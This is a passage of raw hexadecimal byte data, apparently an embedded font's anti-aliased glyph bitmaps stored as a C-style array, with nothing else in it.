0xAB, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xBF, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x82, 0x00, 0x4A, 0xFF,
0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF,
0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x9B, 0x63, 0x63, 0x63, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x49, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x4A, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9,
0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xE7, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3,
0xD3, 0xD3, 0xD3, 0xA1, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF,
0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF,
0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x8B, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x05, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x45, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x1D, 0x00, 0x00, 0x00, 0x2D, 0x4B, 0x4B, 0x25, 0x00, 0x00, 0x00, 0x2F, 0x4B, 0x4B, 0x23,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xE2, 0x10, 0x00, 0x23, 0xF3, 0xFF, 0xFF,
0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xB9, 0xFF, 0xFF, 0xA6, 0x03, 0xC6, 0xFF, 0xFF,
0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0xEC, 0xFF, 0xFF, 0xCB, 0xFF, 0xFF,
0xD9, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0xFF,
0xFB, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0xE5, 0xE5,
0xE5, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x33,
0x65, 0x84, 0x7D, 0x5B, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x87, 0xFA,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0xA1, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xC3, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x37, 0x00, 0x00, 0x00, 0x08, 0xDE, 0xFF,
0xFF, 0xFF, 0xE8, 0xA5, 0x88, 0xB5, 0xED, 0xFF, 0xFF, 0xFF, 0xEB, 0x1B, 0x00, 0x00, 0x78, 0xFF,
0xFF, 0xFF, 0xAB, 0x11, 0x00, 0x00, 0x00, 0x0A, 0xBD, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x17, 0xF2,
0xFF, 0xFF, 0xC7, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xCB, 0xFF, 0xFF, 0xE0, 0x01, 0x76,
0xFF, 0xFF, 0xFF, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0x42,
0x9E, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFF, 0xFF, 0xFF,
0x74, 0xC4, 0xFF, 0xFF, 0xFD, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xFF, 0xFF,
0xFF, 0x8F, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x98, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x98, 0xD8, 0xFF, 0xFF, 0xC1, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10,
0x10, 0x10, 0x10, 0x10, 0x07, 0xB2, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFE, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x36, 0xF8, 0xF8, 0xF8, 0x45, 0x4B, 0xFF, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF, 0xF4, 0x0B, 0x00, 0xB7, 0xFF, 0xFF, 0xFE, 0x7C, 0x01, 0x00,
0x00, 0x00, 0x0A, 0x9A, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x25, 0xF9, 0xFF, 0xFF, 0xFF, 0xC9,
0x8E, 0x72, 0x98, 0xDE, 0xFF, 0xFF, 0xFF, 0xDF, 0x10, 0x00, 0x00, 0x00, 0x55, 0xF0, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xC1,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x9C, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x26, 0x59, 0x8B, 0x9B, 0x80, 0x62, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x17,
0x17, 0x05, 0x0E, 0xFF, 0xFF, 0xFF, 0x5E, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF,
0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F,
0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F,
0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF,
0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0F, 0xFF, 0xFF,
0xFF, 0x5F, 0x0F, 0xFF, 0xFF, 0xFF, 0x5F, 0x0C, 0xFD, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x47,
0xB5, 0xB5, 0xB5, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D,
0xE2, 0xFF, 0xFF, 0xF3, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x91, 0xFF, 0xFF, 0xF8, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x36, 0xFD, 0xFF, 0xFC, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0xD1, 0xFF, 0xFF, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0F, 0x7B, 0x7B, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x74, 0xC8, 0xC8, 0xC6, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF,
0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF,
0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B,
0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x60, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x1D, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x96, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x6C, 0x00, 0x00, 0x1B, 0x9B, 0x9B,
0x9B, 0x97, 0x03, 0x00, 0x00, 0xAF, 0xFF, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x51, 0xFF, 0xFF, 0xFF,
0x82, 0x00, 0x00, 0x0E, 0xE5, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x96, 0xFF, 0xFF, 0xA7, 0x02,
0x00, 0x00, 0x00, 0x8B, 0x95, 0x85, 0x05, 0x00, 0x00, 0x00, 0x00, 0xB3, 0xC8, 0xC8, 0x57, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x70, 0x00,
0x00, 0x00, 0x00, 0x74, 0xC8, 0xC8, 0xC6, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xC8,
0xC8, 0xC8, 0x29, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7,
0xFF, 0xFF, 0xFF, 0x3B, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB7, 0xFF, 0xFF, 0xFF, 0x3B, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xB7, 0xFF, 0xFF, 0xFF, 0x3B, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x25, 0x3B, 0xF2, 0xFF, 0x1B, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x17, 0xFF, 0xE0, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x96, 0xFF, 0xA6, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFB, 0x4B, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xF5, 0x4C, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF,
0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF,
0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B,
0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x60, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x1D, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x71, 0x96, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x6C, 0xAF, 0xC8, 0xC8, 0x5B,
0x00, 0x2E, 0xC8, 0xC8, 0x7F, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x42, 0xFF, 0xFF, 0xA9, 0xE7, 0xFF,
0xFF, 0x7B, 0x00, 0x42, 0xFF, 0xFF, 0xA9, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x42, 0xFF, 0xFF, 0xA9,
0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x42, 0xFF, 0xFF, 0xA9, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x42, 0xFF,
0xFF, 0xA9, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x42, 0xFF, 0xFF, 0xA9, 0xE7, 0xFF, 0xFF, 0x7B, 0x00,
0x42, 0xFF, 0xFF, 0xA9, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x42, 0xFF, 0xFF, 0xA9, 0xE7, 0xFF, 0xFF,
0x7B, 0x00, 0x2F, 0xCA, 0xCA, 0x81, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7,
0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00,
0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00,
0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B,
0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF,
0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xFF, 0xFF, 0x7B, 0x00,
0x00, 0x00, 0x00, 0x00, 0xE2, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x74, 0xC8, 0xC8, 0xC6, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
0x17, 0x00, 0x00, 0x25, 0xB9, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9B, 0xFF, 0xFF, 0xFF, 0x17, 0x08, 0x80, 0xF8, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x5F, 0xDC, 0xFF, 0xFF, 0xFF, 0x6F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8,
0x83, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xBA, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
0xE2, 0xFF, 0xFF, 0xFF, 0xE5, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x17, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00,
